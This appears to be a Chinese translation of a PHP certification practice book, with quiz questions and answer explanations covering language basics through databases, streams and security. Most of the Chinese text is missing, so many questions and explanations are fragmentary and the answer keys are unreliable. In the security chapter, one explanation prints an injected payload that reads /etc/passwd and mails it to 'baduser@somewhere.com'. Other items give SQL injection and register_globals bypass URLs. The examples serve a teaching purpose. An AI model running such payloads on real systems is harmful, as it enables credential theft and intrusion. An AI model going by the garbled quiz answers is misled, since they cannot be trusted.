Professional Documents
Culture Documents
John Coggeshall and Marco Tabini, published by Marco Tabini & Associates, Inc. 28 Bombay
Ave. Toronto, ON M3H 1B7 Canada.
Copyright 2004-2005 John Coggeshall and Marco Tabini All Right Reserved.
Ven PDF
PDF
III
Zend
Zend PHP Zend
John Coggeshall Marco Tabini Zend
Zend Zend
Zend
PHP4
PHP CHINA Richard
PHP CHINA zwwsSunyanzippxz2008linvohexiangyu
QQ95224882
MSNven13@msn.com
E-Mailblueven@yahoo.com.cn
http://www.naks.cn/blueven/?p=180
http://www.naks.cn/blueven/
IV
PHP
PHP
PHP
Zend
PHP
PHP PHP
Zend PHP PHP
Zend PHP
PHP
PHP
PHP PHP
Web
Marco John Zend PHP
PHP
Zend
Andi Gutmans
Zend
Zend
PHP ...1
PHP ....13
Web PHP.........24
......31
......39
..........47
..................................55
......63
PHP ..........70
..........77
PHP .....84
..91
VI
1
PHP
PHP
PHP
PHP
1
PHP ____________PHP ______
______
APHPHTML
BZendHTMLXML
C Perl PHPWeb
DZendDocbook MySQL
E Zend PHPHTML
2 PHP /
A<% %>
B<? ?>
C<?= ?>
D<! !>
E<?php ?>
3 PHP
A$_10
B${MyVar}
C&$something
D$10_somethings
E$aVaR
4
<?php
define(myvalue, "10");
$myarray[10] = "Dog";
$myarray[] = "Human";
$myarray['myvalue'] = "Cat";
$myarray["Dog"] = "Cat";
print "The value is: ";
print $myarray[myvalue]."\n";
?>
2
5 print() echo()
Aprint()echo()
Becho()print()
Cecho() CLI PHP print()
Dprint() CLI PHP echo()
E
6
<?php
$a = 10;
$b = 20;
$c = 4;
$d = 8;
$e = 1.0;
$f = $c + $d * 2;
$g = $f % 20;
$h = $b - $a + $c + 2;
$i = $h << $c;
$j = $i * $e;
print $j;
?>
A128
B42
C242.0
D256
E342
7$a$b $c Hello, World!?
<?php
$string = "Hello, World!";
$a = ?;
3
$b = ?;
$c = ?;
if($a) {
if($b && !$c) {
echo "Goodbye Cruel World!";
} else if(!$b && !$c) {
echo "Nothing here";
}
}
else {
if(!$b) {
if(!$a && (!$b && $c)) {
echo "Hello, World!";
} else {
echo "Goodbye World!";
}
} else {
echo "Not quite.";
}
}
?>
AFalse, True, False
BTrue, True, False
CFalse, True, True
DFalse, False, True
ETrue, True, True
8
<?php
$array = '0123456789ABCDEFG';
$s = '';
for ($i = 1; $i < 50; $i++) {
$s .= $array[rand(0,strlen ($array) - 1)];
}
echo $s;
?>
A50
B49
C49
D$array
4
E49 G
9
<?php
if($a == 'a') {
somefunction();
} else if ($a == 'b') {
anotherfunction();
} else if ($a == 'c') {
dosomething();
} else {
donothing();
}
?>
A default switch
B
Cwhile
D
E default switch
10$myarray
<?php
$myarray = array ("My String","Another String","Hi, Mom!");
?>
A for
B foreach
C while
D dowhile
E
11
<?php
define("STOP_AT", 1024);
$result = array();
/* */
{
5
$result[] = $idx;
}
print_r($result);
?>
Array
{
[0] => 1
[1] => 2
[2] => 4
[3] => 8
[4] => 16
[5] => 32
[6] => 64
[7] => 128
[8] => 256
[9] => 512
}
Aforeach($result as $key => $val)
Bwhile($idx *= 2)
Cfor($idx = 1; $idx < STOP_AT; $idx *= 2)
Dfor($idx *= 2; STOP_AT >= $idx; $idx = 0)
Ewhile($idx < STOP_AT) do $idx *= 2
12 is_leap()is_leap 2000
<?php
/* */
{
$is_leap = (!($year %4) && (($year % 100) ||
!($year % 400)));
return $is_leap;
}
var_dump(is_leap(1987)); /* Displays false */
var_dump(is_leap()); /* Displays true */
?>
Afunction is_leap($year = 2000)
Bis_leap($year default 2000)
Cfunction is_leap($year default 2000)
6
Dfunction is_leap($year)
Efunction is_leap(2000 = $year)
13 URL testscript.php?c=25
<?php
function process($c, $d = 25)
{
global $e;
$retval = $c + $d - $_GET['c'] - $e;
return $retval;
}
$e = 10;
echo process(5);
?>
A25
B-5
C10
D5
E0
14
<?php
function myfunction($a, $b = true)
{
if($a && !$b) {
echo "Hello, World!\n";
}
}
$s = array(0 => "my",
1 => "call",
2 => '$function',
3 => ' ',
4 => "function",
5 => '$a',
6 => '$b',
7 => 'a',
8 => 'b',
9 => '');
$a = true;
7
$b = false;
/* Group A */
$name = $s[?].$s[?].$s[?].$s[?].$s[?].$s[?];
/* Group B */
$name(${$s[?]}, ${$s[?]});
?>
(?)$s Hello, World!
16
A
B
C
D
E
18===
A
B True
8
C
D strcmp
E
19$a 4
A$a *= pow (2, 2);
B$a >>= 2;
C$a <<= 2;
D$a += $a + $a;
E
20
A exit()
B
C PHP
D Apache
1 B
PHP Zend HTML
HTML
XML
2 PHP <% %><? ?> PHP
<! !> D php.ini
3 PHP ${MyVar}
&$something $something
$10_somethings D
4 $myarray myvalue
myvalue $myarray[10] Dog A
5 print() echo()
print()echo()
A
6 %<< 2
N
256D
7 Hello, World! if else
$a False$b False
$a $b False$c True D
8 C PHP4.2.0
srand()
49 $array
for 1 50
49
9 ifelse switch
<?php
switch($a) {
case 'a':
somefunction();
break;
case 'b':
10
anotherfunction();
break;
case 'c':
dosomething();
break;
default:
donothing();
}
?>
if else
switch default
E
10foreach foreach
foreach
while dowhile
for A
<?php
$myarray = array ("My String", "Another String", "Hi, Mom!");
for($i = 0; $i < count($myarray); $i++)
{
$myarray[$i] .= " ($i)";
}
?>
11 for C D
for for PHP
for
for(<>;<>;<>)
<> for <
> False<>
Group A049999myfunction
${}Group B7
8${a}${b}$a$bD
15 PHP require requier_once() include()( include_once())
E
16
C
17xor
18 False
B
19 A CA pow 2 4C
$a 4
20 A
PHP Apache
12
2
PHP4
PHP4 OOP
PHP5 PHP4
OOP PHP
OOP PHP5
PHP4 OOP
13
1
____________
2 $a->my_value
<?php
class my_class
{
var $my_value = array();
function my_class ($value)
{
$this->my_value[] = $value;
}
function set_value ($value)
{
$this->$my_value = $value;
}
}
$a = new my_class ('a');
$a->my_value[] = 'b';
$a->set_value ('c');
$a->my_class('d');
?>
Ac
Bb
Ca
Dd
Ee
3
A private
B private
C
Doverloading method
14
4 OOP
AMVC
BAbstract factory
CSingleton
DProxy
EState
5 PHP
A1
B2
C
D3
E
6 PHP4
<?php
class my_class
{
function my_funct ($my_param)
{
user_error ("Please define me", E_ERROR);
}
function b()
{
return 10;
}
}
?>
A
B
C
DPrivate
Efunction overloading
7 testclass
15
A__construct
Binitialize
Ctestclass
D__testclass
E PHP5
8
A__shutdown __startup
B register_shutdown_function()
C__sleep()__wakeup()
D
E ob_start()
9 PHP4
z
z
z
z
Final
PublicprivateprotectedPPP
A
BPPP
CPPP
D
E
10 mymethod
A$self=>mymethod();
B$this->mymethod();
C$current->mymethod();
D$this::mymethod()
E
11
<?php
class my_class
{
16
var $my_var;
function _my_class ($value)
{
$this->my_var = $value;
}
}
$a = new my_class (10);
echo $a->my_var;
?>
A10
BNull
CEmpty
D
E
12
<?php
class my_class
{
var $value;
}
$a = new my_class;
$a->my_value = 5;
$b = $a;
$b->my_value = 10;
echo $a->my_value;
?>
A10
B5
C2
DNull
E
13
<?php
$global_obj = null;
class my_class
{
17
var $value;
function my_class()
{
global $global_obj;
$global_obj = &$this;
}
}
$a = new my_class;
$a->my_value = 5;
$global_obj->my_value = 10;
echo $a->my_value;
?>
A5
B10
C
D
E510
14$eight_tenths->to_string 8/10
4/5
<?php
class fraction {
var $numerator;
var $denominator;
function fraction($n, $d) {
$this->set_numerator($n);
$this->set_denominator($d);
}
function set_numerator($num) {
$this->numerator = (int)$num;
}
function set_denominator($num) {
$this->denominator = (int)$num;
}
function to_string() {
return "{$this->numerator} / {$this->denominator}";
}
}
function gcd($a, $b) {
return ($b > 0) ? gcd($b, $a % $b) : $a;
}
function reduce_fraction($fraction) {
18
$gcd = gcd($fraction->numerator,
$fraction->denominator);
$fraction->numerator /= $gcd;
$fraction->denominator /= $gcd;
}
$eight_tenths = new fraction(8,10);
/* Reduce the fraction */
reduce_fraction($eight_tenths);
var_dump($eight_tenths->to_string());
?>
Areduce_fraction
Breduce_fraction
Cgcd
D$eight_tenths
E
15
<?php
require_once("myclass.php");
myclass::mymethod();
?>
A mymethod
B myclass mymethod
C
D myclass mymethod()
E myclass::mymethod()
16PHP
A
B
17
<?php
class a
{
function a ($x = 1)
19
{
$this->myvar = $x;
}
}
class b extends a
{
var $myvar;
function b ($x = 2)
{
$this->myvar = $x;
parent::a();
}
}
$obj = new b;
echo $obj->myvar;
?>
A1
B2
C a::$myvar
D a::$myvar
E
18
A__autoload
B forward
C
D
E include
19__________
__________
20
<?php
class a
{
function a()
20
{
echo 'Parent called';
}
}
class b
{
function b()
{
}
}
$c = new b();
?>
AParent called
B
C
D
21
2 BC Dset_value $this->$my_value
PHP5 PHP4
4
5 PHP A
6 abstract method
my_funct
PHP4
7 PHP5 __construct() PHP4
testclass testclass() C
8 __sleep()__wakeup() C
9 PHP4 D
10PHP $this B
11 Dmy_class::_my_class()_
bug
12PHP4 $a $b
BPHP5
10
13 my_class $global_obj
$global_obj->my_value 10 $a
new 5 A
14PHP
22
14 $eight_tenths reduce_fraction
$fraction
:
function reduce_fraction(&$fraction)
D
15
A
16PHP4
17 A b $myvar b a
PHP4 b
$myvar 1
18PHP4 PHP5
__autoload D
19
20 D
23
3
Web PHP
PHP
PHP
HTML HTTP
PHP Web
24
1 session
A$_GET
B$_POST
C$_REQUEST
D
E
2 header
set-Cookie: foo=bar;
_______________
3 bug domain
cookie
A HTTP_REMOTE_COOKIE
B
C setcookie()
D
E Javascript cookie URL
4 index.php email
<form action="index.php" method="post">
<input type="text" name="email"/>
</form>
A$_GET[email]
B$_POST[email]
C$_SESSION[text]
D$_REQUEST[email]
E$_POST[text]
5 $s
25
<?php
$s = '<p>Hello</p>';
$ss = htmlentities ($s);
echo $s;
?>
A<> HTML
B
C
D HTML
E htmlentities()
6 cookie
A
B
Ccookie
D
E session
7 phpgreat
<form action="index.php" method="post">
<input type="text" name="element[]">
<input type="text" name="element[]">
</form>
<?php
echo $_GET['element'];
?>
A
BArray
C
Dphpgreat
Egreatphp
CURL
DURL
E header POST
9 PHP
A
B
C
D
EPHP
10 cookie
A cookie []
B implode
C
D serialize
E cookie ARRAY
11
<?php
ob_start();
for ($i = 0; $i < 10; $i++) {
echo $i;
}
$output = ob_get_contents();
ob_end_clean();
echo $ouput;
?>
A12345678910
B1234567890
C0123456789
D
E
12PHP session______
27
A
B
C
D
E
13 cookie
web
A
B
C cookie
D cookie
Ecookie
14session
A1440
B session.gc_maxlifetime
C
D
E
28
1 register_globals on session
PHP php.ini register_globals off
E
2 header setcookie setrawcookie
3 B HTTP cookie
6 cookie cookie
D
7 post $_POST
$_GET A
8 HTTPS
URL HTTP
B
9 POST PHP
C
10 B implode
serialize() cookie
cookie
29
13B D
cookie
cookie
cookie
cookie GMT cookie
14session.gc_maxlifetime session
session session
session.gc_maxlifetime 1440
B
15 nl2br
30
PHP PHP
31
1 ____________
A
B
C
D
E
2 $multi_array cat
<?php
$multi_array = array("red",
"green",
42 => "blue",
"yellow" => array("apple",9 => "pear","banana",
"orange" => array("dog","cat","iguana")));
?>
A$multi_array['yellow']['apple'][0]
B$multi_array['blue'][0]['orange'][1]
C$multi_array[3][3][2]
D$multi_array['yellow']['orange']['cat']
E$multi_array['yellow']['orange'][1]
3 $array
<?php
$array = array ('1', '1');
foreach ($array as $k => $v) {
$v = 2;
}
?>
Aarray ('2', '2')
Barray ('1', '1')
Carray (2, 2)
Darray (Null, Null)
Earray (1, 1)
32
4
Aksort()
Basort()
Ckrsort()
Dsort()
Eusort()
5
____________
6 $array
<?php
$array = array ('a1', 'a3', 'a5', 'a10', 'a20');
natsort ($array);
var_dump ($array);
?>
Aa1, a3, a5, a10, a20
Ba1, a20, a3, a5, a10
Ca10, a1, a20, a3, a5
Da1, a10, a5, a20, a3
Ea1, a10, a20, a3, a5
8
33
<?php
$array = array ('3' => 'a', '1b' => 'b', 'c', 'd');
echo ($array[1]);
?>
A1
Bb
Cc
D
Ea
9
A for
B foreach
C array_intersect
D array_sum
E array_count_values()
10
<?php
$array = array (0.1 => 'a', 0.2 => 'b');
echo count ($array);
?>
A1
B2
C0
D
E0.3
11
<?php
$array = array (true => 'a', 1 => 'b');
var_dump ($aray);
?>
A1 => 'b'
34
12
A
B
C
D PHP
E
12
<?php
function sort_my_array ($array)
{
return sort ($array);
}
$a1 = array (3, 2, 1);
var_dump (sort_my_array (&$a1));
?>
ANULL
B0 => 1, 1 => 2, 2 => 3
C
D2 => 1, 1 => 2, 0 => 3
Ebool(true)
13
<?php
$result = '';
function glue ($val)
{
global $result;
$result .= $val;
}
$array = array ('a', 'b', 'c', 'd');
35
15
<?php
$array = array (1, 2, 3, 5, 8, 13, 21, 34, 55);
$sum = 0;
for ($i = 0; $i < 5; $i++) {
$sum += $array[$array[$i]];
}
echo $sum;
?>
A78
B19
CNULL
D5
E0
36
1 integer
E
2 cat yellow orange
cat 1
E
3 Bforeach $array
4 asort B
5 serialize unserialize
implode
6 natsort()
A
7 array_flip()rsort() array_reverse()
d,c,b,a B D
8 PHP
PHP 0 3
4 51b 1
D
9 array_sum D
10 1 A
0.1 0.2 0$array 0=>b
11 true 1$array
var_dump()$array
$arayr var_dump NULL
E
12
BPHP
PHP lazy-copy
37
copy-on-write
E
13 Esort
true false
$a1 sort_my_array()
14 array_walk glue
abcd
15
for 5 $array $i
$sum $i
$array[$array[$i]]$array[$array[0]]$array[1] 2
78
38
PHP PHP
PHP
39
1 php
<?php
$alpha = 'abcdefghijklmnopqrstuvwxyz';
$letters = array(15, 7, 15);
foreach($letters as $val) {
/* */
}
?>
Aecho chr($val);
Becho asc($val);
Cecho substr($alpha, $val, 2);
Decho $alpha{$val};
Eecho $alpha{$val+1}
2 $s1 $s2
A$s1 + $s2
B"{$s1}{$s2}"
C$s1.$s2
Dimplode('', array($s1,$s2))
E
3 $email user@example.com
example.com
Asubstr($email, strpos($email, "@"));
Bstrstr($email, "@");
Cstrchr($email, "@");
Dsubstr($email, strpos($email, "@")+1);
Estrrpos($email, "@");
Astrstr()
B
40
Cextract()
Dexplode()
Estrtok()
5
A strpos
B==
C strcasecmp()
D strcmp()
6 PCRE php|architect
A.*
B...|.........
C\d{3}\|\d{8}
D[az]{3}\|[az]{9}
E[a-z][a-z][a-z]\|\w{9}
7
Amd5()
Bsha1()
Cstr_rot13()
Dcrypt()
Ecrc32()
8 PHP UNIX
<?php
function my_funct ($filename)
{
$f = file_get_contents ($filename);
return explode ("\n", $f);
}
?>
Afopen()
Bfread()
Cflock()
41
Dsplit_string()
Efile()
9 pattern
Apreg_split()
Bereg()
Cstr_split()
Dexplode()
Echop()
10
<?php
echo 'Testing ' . 1 + 2 . '45';
?>
ATesting 1245
BTesting 345
CTesting 1+245
D245
E
11
<?php
$s = '12345';
$s[$s[1]] = '2';
echo $s;
?>
A12345
B12245
C22345
D11345
EArray
12
42
/.*\*123\d/
A******123
B*****_1234
C******1234
D_*1234
E_*123
13 true
A'1top' == '1'
B'top' == 0
C'top' === 0
D'a' == a
E123 == '123'
14+
A
B
C
D
E
15 http://www.php.net
<?php
$s = file_get_contents ("http://www.php.net");
strip_tags ($s, array ('p'));
echo count ($s);
?>
Awww.php.net
B<p> www.php.net
C1
D0
E<p> www.php.net
16
43
Astrcmp()
Bstricmp()
Cstrcasecmp()
Dstristr()
E
17
Aencode_hex()
Bpack()
Chex2bin()
Dbin2hex()
Eprintf()
18
____________
19
<?php
$a = 'able osts indy';
echo wordwrap ($a, 1, "c", false);
?>
____________
20
<?php
$x = 'apple';
echo substr_replace ($x, 'x', 1, 2);
?>
Ax
Baxle
Caxxle
Dapplex
Exapple
44
1 substr
$alpha{$val}$alpha{$val+1}
0 D
2 A PHP +
3 substr strpos
0
+1 D
4 Dexplode
strtok
5 Dstrcmp() C strcasecmp()
6 A E
A E
7 AB E crypt() str_rot13()
crc32()
8 file E
PHP file
10.+
PHP ('Testing ' . 1) + (2 . '45')
test 1 0 245PHP
0+245 245 D
11
$s[1] 2 12245 B
12
45
.*\* 123 C D
13B E B top 0==
true E 123 123 true
14 0 B
15 www.php.net p HTML
count
count 1 C
16 strcasecmp C
17 B Dpack
bin2hex printf()
18 str_pad
19 ablecostscindywordwrap
1 false
c c
20substr_replace
axle B
46
PHP
stream wrappers
PHP
/
PHP
47
1 ______
______
Afgets(), fseek()
Bfread(), fgets()
Cfputs(), fgets()
Dfgets(), fread()
Efread(), fseek()
2 PHP______
____________
3 PHP
<?php
$file = fopen("test", "r");
while(!feof($file)) {
echo ????????????;
}
fclose($file);
?>
Afile_get_contents($file)
Bfile($file)
Cread_file($file)
Dfgets($file)
Efread($file)
4
Aflock()
Bfopen()
Ctempnam()
Dmkdir()
Etmpfile()
48
5
Afile_get_contents()
Bfgets()
Cfopen()
Dfile()
Ereadfile()
Afile()
Bsscanf()
Cfscanf()
Dfgets()
Efnmatch()
7myfile.txt
<?php
$array = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$f = fopen ("myfile.txt", "r");
for ($i = 0; $i < 50; $i++) {
fwrite ($f, $array[rand(0, strlen ($array) - 1)]);
}
?>
A$array
B49
C50
D41
E
8delete
A
B
C
D
E
49
9PHP
<?php
function my_funct ($file_name, $data)
{
$f = fopen ($file_name, 'w');
fwrite ($f, $data);
fclose ($f);
}
?>
Afile_get_contents()
Bfile_put_contents()
C
Dfile()
Efputs()
10
Aauto_detect_line_ending
B
Cfpos()
Dftok()
E
11fopen()
Aw
Br
Ca
D+
12______fgets()
__________
13
50
Afgets()
Bfile_get_contents()
Cfread()
Dreadfile()
Efile()
14
____________
15test.txtunlink()1,1
<?php
$f = fopen ("test.txt", "w");
fwrite ($f, "test");
fclose ($f);
echo (int) file_exists("test.txt") . ', ';
unlink ("c:\\test.txt");
echo (int) file_exists ("test.txt");
?>
Aclearstatcache()
Bfflush()
Cob_flush()
Dtouch()
E
16______
____________
17
Areset()
Bfseek(-1)
Cfseek(0, SEEK_END)
Dfseek(0, SEEK_SET)
Efseek(0, SEEK_CUR)
51
18stat()fstat()
Astat()fstat()
Bfstat()stat()
Cfstat()
Dstat()
Efstat()stat()
19
<?php
echo number_format (disk_free_space ('c:\\') /
disk_total_space('c:\\') * 100, 2) . '%';
?>
AWindowsC
BC
CCbyte
DC
E
20image.jpgPHP
<?php
header ("Content-type: image/jpeg");
?>
<?php
readfile ("image.jpg");
?>
AJPEG
B
C
DJPEG
E
52
1 fgets
freadD
2 fclose
3 fgetsD
4 D
flock()
flock()
mkdir
I/O
5 file_get_contentsfileADreadfile
6 fscanfCsscanf
7 ErPHP
fopen()
fwrite()wrmyfile.txt
50
8 EPHPdelete()unlink()rmdir()
SQLunset()
9 file_put_contents()PHP5
C
10PHP4.3.0php.iniauto_detect_line_endings
A
11r+BD
12fopen()
13BDEfilereadfilefile_get_contents
14fwrite()fputs()PHP
53
15PHPfile_exists()
A
16is_writeable
17Dfseek()SEEK_SET
SEEK_SETfseek()rewind
fseek(0,SEEK_SET)
18Bfstatstat()
19Bdisk_free_spaceWindowsC
bytedisk_total_space()
number_format()
20E
54
PHP
PHP / UNIX
Web
55
1 Windows
<?php
echo strtotime ("November 11, 1952");
?>
A-14462
B14462
C-1
D0
E
2
__________
3
<?php
$a = array_sum (explode (' ', microtime()));
for ($i = 0; $i < 10000; $i++);
$b = array_sum (explode (' ', microtime()));
echo $b - $a;
?>
A for
B
C
D for array_sum() microtime()
E for array_sum() microtime()
4
<?php
for ($i = 0; $i < 100; $i++) {
$day = rand (1, 31);
$month = rand (1, 12);
$year = rand (1000, 2500);
56
5 Windows
<?php
echo mktime (0, 0, 0, 11, 11, 1952); // November 11, 1952
?>
A
B
C-1
D-14462
E mktime
<?php
$a = strtotime ('00:00:00 Feb 23 1976 EST');
$b = strtotime ('00:00:00 Feb 23 1976 CST');
echo $a - $b;
?>
A-3600
B3600
C0
D-1
E1
57
7 bug
A
B UNIX
C
D
E PHP
9 time
A UNIX
B GMT UNIX
C UNIX
D UNIX
E
10
<?php
$time = strtotime ('2004/01/01');
echo date ('H:\i:s', $time);
?>
A00:00:00
B12:00:00
C00:i:00
D12:i:00
E-1
58
11 cookie
Atime() + 3600
Btime(3600)
Cgmtime() + 3600
Dgmtime(3600)
EA C
12getdate()______
A
B
C
D
E
13 microtime()
A$time = implode (' ', microtime());
B$time = explode (' ', microtime()); $time = $time[0] + $time[1];
C$time = microtime() + microtime();
D$time = array_sum (explode (' ', microtime()));
E
14
Atime()
Bdate()
Cstrtotime()
Dlocaltime()
Egmmktime()
15GMT
A GMT
B
C GMT
D
59
60
1
WindowsLinux UNIX glibc strtotime
UNIX PHP5 -1
C
2 strftime()date strftime()
stlocale()
3 D microtime()
array_sum()
array_sum() microtime()
4 checkdate Gregorian date
October 5-14, 1582
D
5 Windows mktime
UNIX -1
C
6 strtotime()
3600 -3600 A B
CST EST CST 12 EST
$b $a A
7 / PHP DBMS
UNIX PHP
B
C D
8 gmmktime() UNIX
0gmmktime() mktime()
UNIX
Windows -1 B
D
9 Etime() UNIX A D
B C
UNIX GMT
UNIX
B C
61
10 date() H s 24 i
strtotime()
00:i:00 C
11 A 3600 1 *60 *60
12getdate
C
13 Dmicrotime
explode()array_sum()
14 B Ddate localtime()
15 B
62
PHP
PHP
mail HTML
E-Mail
63
1
Ajohn@php.net
B"John Coggeshall" <someone@internetaddress.com>
Cjoe @ example.com
Djean-cggeshall@php.net
Ejohn
D sendmail_path
E Windows/Novell UNIX SMTP smtp_port MTA
3 PHP MIME
Aheader$message mail
B PHP SMTP MTA
C mail $additional_headers
header
D E-Mail PHP MIME E-Mail
E mail $additional_headers header \r\n
4 MIME
MIME E-Mail
____________
A<img>
64
6 mail $additional_parameters
A UNIX Windows/Novell
B Windows/Novell SMTP MTA
C sendmail sendmail_path
DPHP
7Content-Transfer-Encoding
AASCII
B E-Mail HTMLplain textrich text
C MIME
D base64
E
8 Content-Type MIME
A 8
B--abcdefghi
--abcdefghi--
C MIME
D
E
9 E-Mail
From: John Coggeshall <john@php.net>
To: Joe User <joe@example.comt>
Subject: Hello from John!
Date: Wed, 20 Dec 2004 20:18:47 -0400
Message-ID: <1234@local.machine.example>
Hello, How are you?
MIME
AMIME-Version
65
BContent-Disposition
CContent-Type
DContent-Transfer-Encoding
EContent-ID
10 HTML
MIME content-type
Amultipart/mixed
Bmultipart/alternative
Cmultipart/default
Dmultipart/related
E content-type
12
A GET
B htmlentities()
C POST
D htmlentities()
E
13
A serialize() htmlentities()
B base64_encode()
C serialize()
D serialize() base64_encode()
E convert_uuencode()
66
14 MIME/multipart MIME
A
B MIME MIME
C MIME
D mime_content_type
E
15 UNIX sendmail
A From
B-f
C Reply-to
D Apache sendmail
E Apache root
67
1 E-Mail D A B C
MTAE
D
2 A DUNIX PHP sendmail
MTA Windows/Novell SMTP MTA
Windows/Novell PHP sendmail
sendmail PHP
Windows/Novell mail() sendmail_from UNIX
sendmail
3 PHP mail SMTP PHP
E-Mail
$additional_headers \r\n
HTML
MIME E
4 MIME US-ASCII
MIME
Content-Type: MIME
5 HTML
MIME MIME
ID src cid:
ID B C
6 mail sendmail sendmail
UNIX Windows/Novell sendmail_path
7bitquoted-printablebase648bit binary
x-<unique name for encoding>
8 BC E MIME
John
John
9 MIME AC DMIME
68
MIME-Version root
Content-Type content-transfer-encoding
Content-Disposition
Content-ID
10 B MIME
multipart/alternative text/plain text/html
MIME
11 UNIX PHP sendmail Windows
sendmail SMTP D
12 htmlentities()
POST E-Mail
To:
C E
13
E-Mail PHP4
base64_encode 7bit D
14 MIME mime_content_type
D PECL
FileInfo
mime_content_type
15 From sendmail
sendmail -f Apache
From AB D
69
9
PHP
DBMS
70
1 SQL
SELECT * FROM MY_TABLE
A
B
C where
D DBMS
E DBMS
2 ______
____________
3 inner join
A
B
C
D
E
4 DBMS PHP
AMySQL
BIBM DB/2
CPostgreSQL
DMicrosoft SQL Server
E
5 mysql_query
<?php
$r = mysql_query ('DELETE FROM MYTABLE WHERE ID=' . $_GET['ID']);
?>
71
AMYTABLE 1
B
C
D URL ID=0+OR+1 MYTABLE
E
6______
____________
7
A
B
C
D
E
8join
A
B
9
CREATE TABLE MYTABLE (
ID INT,
NAME VARCHAR (100),
ADDRESS1 VARCHAR (100),
ADDRESS2 VARCHAR (100),
ZIPCODE VARCHAR (10),
CITY VARCHAR (50),
PROVINCE VARCHAR (2)
)
SELECT ID, VARCHAR
FROM MYTABLE
WHERE ID BETWEEN 0 AND 100
ORDER BY NAME, ZIPCODE
A ID
72
B NAME ADDRESS1
C ID NAME ZIPCODE
D ZIPCODE NAME
E ZIPCODE
10 SQL
BEGIN TRANSACTION
DELETE FROM MYTABLE WHERE ID=1
DELETE FROM OTHERTABLE
ROLLBACK TRANSACTION
AOTHERTABLE
BOTHERTABLE MYTABLE
COTHERTABLE MYTABLE ID 1
D
E
11DESC
SELECT *
FROM MY_TABLE
WHERE ID > 0
ORDER BY ID, NAME DESC
A
BID NAME
CID NAME
D NAME ID
E NAME
12 SQL
AAVG
BSUM
CMIN
DMAX
ECURRENT_DATE()
13 GROUP BY
73
A
B GROUP BY
C
D
E NULL
14
SELECT COUNT(*) FROM TABLE1 INNER JOIN TABLE2
ON TABLE1.ID <> TABLE2.ID
ATABLE1 TABLE2
B
CTABLE1 TABLE2
D
E 2
15______ SQL
____________
74
1 where
select *
B C
2 where
3 Binner join
5 B D URL
ID=0+OR+1 DELETE FROM MYTABLE WHERE ID = 0
OR 1
6 INSERT
7 C
8 join
9 C ID where NAME ZIPCODE
10
E
11 CDESC ID
NAME
12CURRENT_DATE SQL
13 B C SQL GROUP BY
GROUP BY DBMS MySQL
14 join
75
ID DBMS
ID
TABLE1 TABLE2
15 SQL
76
10
PHP
E-Mail
E-Mail
PHP stream
fopen
socket
77
1 PHP
A\\server\path\filename
Bhttp://www.example.com/index.php
Cmyfile.txt
Dcompress.zlib://myfile.txt
E
2 PHP
____________
3 stream_get_meta_data API
A
B
C
D
E
4 PHP
Ahttp
BSTDIO
Cftp
DSTDOUT
Estream
5 Stream context
AStream Filter
BStream Transport
CFile Wrapper
D/
E
78
6 socket
____________
7PHP
Atcp
Budp
Cudg
Dpdc
Eunix
8 tcp
fread()
A max_execution_time fread()
B fsockopen()
C socket
D socket
E
9 socket
____________
10 ROT13
A
B
C ROT13
DROT13
E
11
79
<?php
echo long2ip (ip2long ('127.0.256'));
?>
A
B255.255.255.255
C-1
D127.0.1.0
E127.0.256.0
12
<?php
echo getservbyname ('ftp', 'tcp');
?>
A FTP
Btcp FTP
C TCP FTP
D FTP
13gethostbynamel
A IP
B IP
C IP
D IP
E
14 ftp://
A
B
C
D
15
A stream_wrapper_register()
B stream_wrapper_register()
80
C fopen()
D stream_load()
81
1 EPHP
2 stream_wrapper_register
3 Dstream_get_meta_data
5 B CStream context
stream context PHP
6 fsockopen PHP
PHP
7 DpdcPHP
ssl tls
8 Cfsockopen socket
fread()
9 socket stream_set_timeout
fsockopen()
10 Bstream filter
ROT13 base64
base64/ROT13
11 Dip2long 127.0.256 IP 127.0.1.0long2ip()
IP PHP
82
14 C Dftp:// FTP
FTP
15 Astream_wrapper_register
83
11
PHP
PHP Web
84
1 PHP
A
B
C SSL
D
E
<?php
if(isUserAdmin()) { $isAdmin = true; }
$data = validate_and_return_input($data);
switch($action)
{
case 'add':
addSomething($data);
break;
case 'delete':
if($isAdmin) {
deleteSomething($data);
}
break;
case 'edit':
if($isAdmin) {
editSomething($data);
}
break;
default:
print "Bad Action.";
}
?>
A$isAdmin true
B$action
C$isAdmin register_globals
D$data
EA B
85
3
A include require
include$username/script.txt;
B allow_url_fopen
C curl
D strip_tags()
E
4 register_globals
A
B
C
D
E
5SQL
A web
B DBMS SQL
C
D
6 PHP PHP
PHP
PHP
A exec()`
B shell_exec
C escapeshellcmd
D ini_set() safe_mode
E escapeshellarg
HTTP
A
86
B file_exists
C is_uploaded_file HTTP
D move_upload_file()
E PHP
8 PHP
A shell
B
C PHP
D
E
9
A safe_mode
B open_basedir
C PHP
D PHP
E PHP
10
A
B
12
87
A PHP
B
C PHP
D PHP
E
13
A
B
C
D
E
14
<?php
$newfunc = create_function('$a', 'return $a * {$_POST['number']};);
$newfunc(10);
?>
A newfunc()
B register_globals
C newfunc()
D newfunc()
E allow_url_fopen
15 PHP
AApache
BApache
CCGI
DIIS ISAPI
88
1 D
2 C register_globals
$isAdmin
register_globals
URL GET
http://www.example.com/action.php?action=delete&data=foo&isAdmin=1
3 AB CA B PHP
URL $username allow_url_fopen
PHP script.txt PHP
HTML JavaScript
bug
4 B C
register_globals
5 SQL
SQL SQL PHP
6 C E PHP
escapeshellcmd escapeshellarg shell
7 C D
is_uploaded_file
move_upload_file
8 AB C
PHP
UID/GID
9 Bopen_basedir PHP
89
safe_mode D
10 B HTML MAX_FILE_SIZE
11 CGI PHP
PHP
/etc/passwdworld-readable
PHP PHP
D
12 E
13 B SQL
SQL
14 D
$_POST[number]
(eval(exec('cat /etc/passwd | mail baduser@somewhere.com');)) ? 0 : 1
90
12
bug
bug bug
bug
PHP
91
1
<?php
if ($a < 10) {
if ($b > 11) {
if ($c == 10 && $d != $c) {
$x = 0;
} else {
$x = 1;
}
}
}
?>
A$x = ($a A. < 10 || $b > 11 || $c == 1 && $d != $c) ? 0 : 1;
B$x = ($a < 10 || $b > 11 || ($c == 1 && $d != $c)) ? 0 : 1;
C$x = (($a < 10 && $b > 11) || ($c == 1 && $d != $c)) ? 0 : 1;
D$x = ($a < 10 && $b > 11 && $c == 1 && $d != $c) ? 1 : 0;
E
Aopcode cache
B
C
D RAM
E
3
A
B
C
D
E@
4______
92
____________
5opcode cache
A
B Zend
C
D
E
6
ARAM
B
C 2GB
D
E
6
<?php
$rs = database_query ("select * from mytable where id = " .
$my_id);
while ($a = database_get_data ($rs)) {
